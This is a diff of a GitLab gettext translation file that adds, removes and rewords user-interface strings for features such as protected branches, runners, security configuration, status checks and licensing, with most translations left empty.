msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26644,6 +26329,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26653,9 +26341,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26674,9 +26359,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26800,13 +26482,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26827,12 +26512,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26842,6 +26536,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26851,12 +26548,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26902,18 +26602,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27319,6 +27031,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27346,6 +27061,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27526,6 +27244,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27541,15 +27262,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27565,9 +27280,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27715,15 +27427,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27733,15 +27448,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28147,6 +27853,9 @@ msgstr[2] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28297,12 +28006,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28318,9 +28021,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28417,6 +28117,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28426,9 +28129,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28495,12 +28195,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28510,6 +28219,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28519,9 +28231,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28534,9 +28255,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28579,12 +28306,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28615,6 +28348,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28693,6 +28432,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28744,10 +28489,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28780,6 +28522,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28831,6 +28576,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28915,9 +28663,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29059,12 +28804,6 @@ msgstr[2] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29131,6 +28870,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29152,6 +28894,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29161,6 +28906,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29185,9 +28936,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29197,12 +28957,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29215,7 +28984,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29224,6 +28996,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29236,6 +29014,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29248,7 +29047,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29311,6 +29110,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29416,6 +29218,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29518,9 +29323,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29551,9 +29353,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29656,9 +29464,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29752,7 +29557,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29791,10 +29596,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29836,9 +29641,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29881,6 +29683,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29971,6 +29776,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30151,9 +29959,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30178,6 +29983,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30202,9 +30010,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30232,9 +30037,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30268,12 +30070,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30322,6 +30118,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30655,9 +30454,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30760,6 +30556,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30826,12 +30625,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30865,9 +30658,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30910,9 +30700,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30964,6 +30751,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30982,6 +30772,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31084,15 +30877,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31309,12 +31093,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31333,7 +31123,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31363,6 +31153,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31450,6 +31243,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31459,9 +31255,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31816,6 +31609,9 @@ msgstr "Nedjelja"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31834,7 +31630,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31906,9 +31708,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31921,7 +31720,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31969,7 +31768,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31984,7 +31783,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31993,10 +31792,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32188,6 +31987,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Å ablon"
@@ -32548,7 +32350,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32557,6 +32359,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32566,6 +32371,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32599,9 +32407,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32635,7 +32440,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32665,6 +32470,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32740,6 +32548,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32761,15 +32572,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32854,18 +32665,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32929,9 +32734,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32950,10 +32752,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32968,9 +32770,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32980,9 +32779,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33001,9 +32797,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33145,9 +32938,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33268,6 +33058,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33343,6 +33136,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33376,7 +33172,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33472,6 +33268,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
